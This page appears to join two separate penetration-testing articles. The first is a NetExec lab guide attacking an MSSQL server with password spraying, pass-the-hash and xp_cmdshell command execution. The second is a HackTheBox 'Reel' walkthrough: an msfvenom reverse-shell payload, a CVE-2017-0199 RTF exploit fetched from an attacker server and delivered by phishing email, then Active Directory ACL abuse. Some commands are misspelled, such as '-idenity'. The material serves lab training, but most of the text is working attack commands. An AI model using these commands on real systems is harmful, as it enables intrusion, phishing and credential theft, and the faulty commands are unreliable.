MSSQL for Pentester: NetExec

NetExec (nxc) is a powerful network exploitation tool developed as a modern successor to CrackMapExec (CME), which was widely used by penetration testers and red teamers. Earlier CrackMapExec was actively maintained by mpgn, after which NetExec emerged as a popular choice. In this article we are going to cover most of the parts where this tool can come in handy to automate tasks like password spraying, command execution, file upload and many more. Here we will be performing the test cases on MSSQL server using nxc tool.

Table of Contents

·      Lab Setup

·      Password spray using nxc

·      Command execution using nxc

·      File upload and download using nxc

·      Privilege escalation using nxc

·      Command execution as administrator using nxc

·      Enumeration on a different port number

·      Password spray using nxc continued

·      Conclusion

Lab Setup

Target Machine: Windows 10 (192.168.31.126)

Attacker Machine: Kali Linux (192.168.31.141)

For demonstration purposes, here we will be using the MSSQL service to show all the test cases. We have already setup the MSSQL server on the target machine and created few users for the running instance.

Password spray using nxc

In order to check for the correct credentials, we will create a dictionary of usernames as users.txt and passwords as pass.txt. Once we have the dictionaries created, we can perform the password spray attack to check for the correct username and password. We are going to perform this spray on the MSSQL server. Following will be the command to do so:

nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success | grep [+]

To perform the password spray using the local authentication, we can use the    --local-auth flag as it specifies that the authentication attempts should be made against the local accounts on the MSSQL server.

nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth | grep [+]

If we want to perform password spray in such a way that each username should be used ony with its corresponding password from the list, then we can use the --no-bruteforce flag. If the username-password pair matches, it will proceed otherwise it will skip to the next pair without trying other possible combinations.

nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --no-bruteforce

There are situations when we have the NTLM hashes instead of the passwords so we can use the nxc to perform the password spray using the hash by giving the -H flag.

nxc mssql 192.168.31.126 -u users.txt -H 64FBAE31CC352FC26AF97CBDEF151E03 --continue-on-success | grep [+]

We can use two methods to authenticate to MSSQL i.e., windows or local, the default authentication is windows. To use local authentication, add the following flag --local-auth in the command. Here we are trying to perform the local authentication as sa user.

nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth

As mentioned previously, we can also test for the windows authentication. Since the default mode is set to windows authentication, hence we don’t need to give any authentication flag to perform windows authentication.

nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987'

Command execution using nxc

We can use nxc to query the database, by giving -q flag and then mentioning the database query. The command to do so will be:

nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

In order to perform the system level commands, we can use the -x flag which uses the MSSQL xp_cmdshell to execute the commands. We can use both windows and local authentication here depending on our need.

nxc mssql 192.168.31.126 -u sa -p 'Password@123' --local-auth -x ipconfig

nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' -x ipconfig

File upload and download using nxc

We can also upload the file into the target system using nxc by giving the --put-file flag which will take the filename and we will also mention the path where the file needs to uploaded.

nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --put-file file.txt C:\\Windows\\Temp\\file.txt

It can be seen that the file has been successfully uploaded at the required path.

Similarly, we can also download the file using the --get-file flag. Here we need to mention the complete path of the file which needs to be download and also the path where the file needs to be placed at our end.

nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --get-file C:\\Windows\\Temp\\file.txt /tmp/file.txt

Privilege escalation using nxc

Here we are going to check if the current user is allowed to perform privilege escalation or not by using the mssql_priv module of the nxc. We can explicitly mention the module name after the -M flag. Here we are going to use the raj user to check for privilege escalation. This can be used in cases where we perform the windows authentication and try for privilege escalation. The output of the command shows that the user raj can impersonate sa user. Impersonating a user means temporarily assuming the identity and privileges of that user.

nxc mssql 192.168.31.126 -u raj -p 'Password@1' -M mssql_priv

The same process can be repeated using the local authentication by adding the --local-auth flag.

nxc mssql 192.168.31.126 -u ignite -p 'Password@1' -M mssql_priv --local-auth

It can be seen that the user ignite can impersonate the user sa using local authentication, hence we will perform the privilege escalation as next step. The properties of the Ignite user can also be seen in the victim machine.

To perform privilege escalation, we will use the Metasploit framework. There is a module by the name auxiliary/admin/mssql/mssql_escalate_execute_as, which can be used to perform privilege escalation. Following will be the commands used in the module:

use auxiliary/admin/mssql/mssql_escalate_execute_as

set rhosts 192.168.31.126

set database master

set username ignite

set password Password@1

exploit

After running the exploit, it shows that the user ignite is now sysadmin. To check this, we will once again run the previously used command in nxc. The output of command shows that the user ignite is already a sysadmin. We can confirm this in the victim machine also that the user ignite is sysadmin.

 

Command execution as administrator using nxc

Let us assume that somehow we get the hash of the administrator user and we want to execute the system level commands using MSSQL, so we can use nxc to perform that. First we will check if the windows authentication is successful or not and then we can give the -x flag to perform the command execution.

nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

Enumeration on a different port number

If the MSSQL server is running on a different port number, then also we can perform the same test cases by just mentioning the port number explicitly using --port flag.

nmap -sV -p 9070 192.168.31.126

As we can see that the MSSQL server is running on port 9070. So we can give command as follows:

nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --port 9070

Password spray using nxc continued

Once we are ready with the list of usernames and passwords, we can perform the password spray using nxc. Here we can mention the authentication method explicitly. If no flag is used, then the authentication method will be windows authentication. Here we are using the --continue-on-success flag so that all the combinations are tried even if the successful login is obtained.

nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success

Similarly, we can perform the password spray using the local authentication.

nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth

The above scenario clearly shows what all user accounts are used for the local authentication and windows authentication.

We can also perform the same if we have obtained a hash but we are not sure that the hash belongs to which user. Here we will be passing a list of users and giving the obtained hash value in the -H flag.

nxc mssql 192.168.31.126 -u users.txt -H 64FBAE31CC352FC26AF97CBDEF151E03 --continue-on-success

Conclusion

NetExec (nxc) stands out as a highly effective and adaptable tool for security experts, delivering advanced features for network exploitation and post-exploitation tasks. Its comprehensive functionality allows for efficient password spraying and command execution on not only MSSQL server but other services as well, making it an essential asset in both penetration testing and red teaming operations.

Reel HackTheBox Walkthrough

 Summary

Reel is a windows Active Directory machine and is considered as a hard box in HTB. This box stands out for its uniqueness, featuring a phishing scenario that is rarely found in other boxes. Starting with the enumeration of FTP service, some files are found which reveal the email address of a user. After that a phishing email is send, such that once the attachment is clicked the initial access is obtained. After initial access the privilege escalation part is through abusing the rights in the Active Directory infrastructure.

 

Table of Contents

·      Enumeration

·      Initial Access

·      Lateral Movement 1 (from nico to tom)

·      Lateral Movement 2 (from tom to claire)

·      Privilege Escalation (from claire to administrator)

 

Enumeration

Starting the enumeration with port and service scan:

nmap -sV -sC 10.129.228.124

As the default script scan suggests, there is Anonymous FTP login allowed at port 21. So, login as Anonymous :: Anonymous into FTP. After login it can be seen that there is a Documents directory which consists of 3 files namely AppLocker.docx, readme.txt and Windows Event Forwarding.docx. More information can be obtained after downloading these files locally.

ftp 10.129.228.124

cd documents

ls

get AppLocker.docx

get readme.txt

get "Windows Event Forwarding.docx"

Now, reading the contents of readme.txt file.

cat readme.txt

As shown above the readme.txt file contains a communication related to rtf format procedures. It seems like the document asks to email the particular format file. File "Windows Event Forwarding.docx" is a document file and in most cases, it contains the creator name which can be later used as a legitimate username to login/email.

To check for the Creator name the exiftool can be used here with the following command:

exiftool "Windows Event Forwarding.docx"

 

 

 

Initial Access

The Creator name seen is nico@megabank.com. If we remember, the readme.txt file mentioned about emailing a rtf file to the email address. We can try emailing a malicious rtf file as an attachment, such that if the user process it we should be able to get the reverse shell.

First, we can check if we are able to send some email to the obtained mail id or not. To do so we are using telnet to communicate and get an acknowledgement of the receipt of email.

telnet 10.129.228.124 25

After the target email is confirmed, it is time to create the .rtf file to send to the victim. RTF files are highly versatile and are supported by a wide range of word processing software, which enhances their popularity for sharing documents across different platforms and applications. These files, essentially plain text documents, can be accessed and modified using numerous word processors, including Microsoft Word, Google Docs, and LibreOffice.

There is a toolkit script which can be used here to create a .rtf file. The script can be downloaded from here (https://github.com/bhdresh/CVE-2017-0199.git).

As per the exploit usage the script requires a .hta file or .doc to be hosted at a server so that the exploit can use the .hta file to generate a .rtf file.

To create a .hta file, msfvenom can be used with the following command:

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.117 lport=443 -f hta-psh -o file.hta

After creating the file.hta file, a server can be started locally at port 80 to host the file.

updog -p 80

Now the exploit can be used with the following command to generate the .rtf file:

python2 cve-2017-0199_toolkit.py -M gen -w raj.rtf -u http://10.10.14.117/file.hta -t RTF -x 0

The sendEmail tool can be used inside kali linux to send an email to the target mail id i.e., nico@megabank.com and the file raj.rtf can be used as an attachment.

Before sending this email we need to start the netcat listener at port 443 as mentioned in our msfvenom payload.

nc -lvp 443

sendEmail -f raj@megabank.com -t nico@megabank.com -u "Urgent Mail" -m "Join Ignite Technologies" -a raj.rtf -s 10.129.228.124 -v

Once the email is sent and the victim clicks on the attachment, we receive a reverse shell connection at port 443. After the reverse shell is obtained, the user.txt flag can be found on the desktop of the nico user.

 

Lateral Movement 1 (from nico to tom)

After the initial access as nico user, there is a a cred.xml file placed at the user's desktop. Upon reading the contents of the cred.xml file it can be seen that there is a username HTB\Tom and a password which is in serialized format. To generate the deserialized password a cmdlet can be used which is inbuilt in powershell i.e., Import-Clixml. The following command can be used to deserialize the cred.xml file content:

powershell -c "$cred = Import-Clixml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

The deserialized password obtained is 1ts-mag1c!!!.

After the password of Tom user is obtained now, we can use ssh to login as Tom user.

ssh tom@10.129.228.124

Lateral Movement 2 (from tom to claire)

After login as tom user, an AD Audit folder is found on the Desktop which contains a directory by the name Bloodhound and a text file note.txt. Upon reading the contents of the file note.txt, there is a note mentioned about findings which states that there are no AD attack paths from user to Domain Admin, and the audit should be performed again.

The Ingestors directory inside the Bloodhound folder seems to contain the old audit findings, hence it is better to run the bloodhound again inside the target system to capture the results.

Hence, downloading the SharpHound.ps1 script form the following link: https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1

To transfer the SharpHound.ps1 file from kali to target windows machine we will be using impacket-smbserver script.

impacket-smbserver share $(pwd) -smb2support

Inside the initial shell taken on target machine, run the following command to fetch the file:

copy \\10.10.14.117\share\SharpHound.ps1

After the file is copied, now running the SharpHound.ps1 module.

Import-Module .\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All

After the bloodhound is run, the results can be seen in the 20230102182633_BloodHound.zip file.

Hence copying the zip file in the kali machine using smb service by the following command:

copy 20230102182633_BloodHound.zip \\10.10.14.117\share\

To analyse the results visually, we will be running the Bloodhound tool. But first we will start the neo4j server by the command:

neo4j console

After the neo4j service is started, we can initiate the Bloodhound tool.

bloodhound

Login into neo4j database using the valid credentials and upload the zip file created by the SharHound.ps1 script.

After the uploading the zip file and analysing the results, it was observed that the user tom has First Degree Object Control rights with the user claire, stating that the user tom has WriteOwner permissions on the user claire. And going forward it can also be seen that the user claire has WriteDACL permissions on the Backup_Admins group. Now using PowerView.ps1 and abusing the WriteOwner permissions, user tom can become the owner of claire’s ACL, get permissions on the ACL and use those permissions to reset the password.

copy \\10.10.14.117\share\PowerView.ps1

Import-Module .\PowerView.ps1

Set-DomainObjectOwner -idenity claire -OwnerIdentity tom

Add-DomainObjectAcl -TargetIdenity claire -PrincipalIdentity tom -Rights ResetPassword

$SecPassword = ConvertTo-SecureString 'Password@1 ' -AsPlainText -Force

Set-DomainUserPassword -identity claire -accountpassword $SecPassword

Privilege Escalation (from claire to administrator)

Once the password of claire is reset we can login using ssh:

ssh claire@10.129.191.71

And because of the WriteDACL permissions of claire on Backup_Admins group, now we can add claire as a member of the Backup_Admins group.

net group "Backup_Admins " claire /add /domain

However, we are still unable to read the root.txt flag placed at the desktop of the Administrator user. There is a Backup Scripts directory on the Administrator desktop which consists of some scripts.

Upon checking of any of the scripts contain the password word as a string, the admin password was retrieved as Cr4ckMeIfYouC4n! in the BackupScript.ps1 script.

type * | findstr password

After the administrator password is retrieved, now we can login as administrator using ssh and obtain the root.txt flag.

ssh administrator@10.129.228.224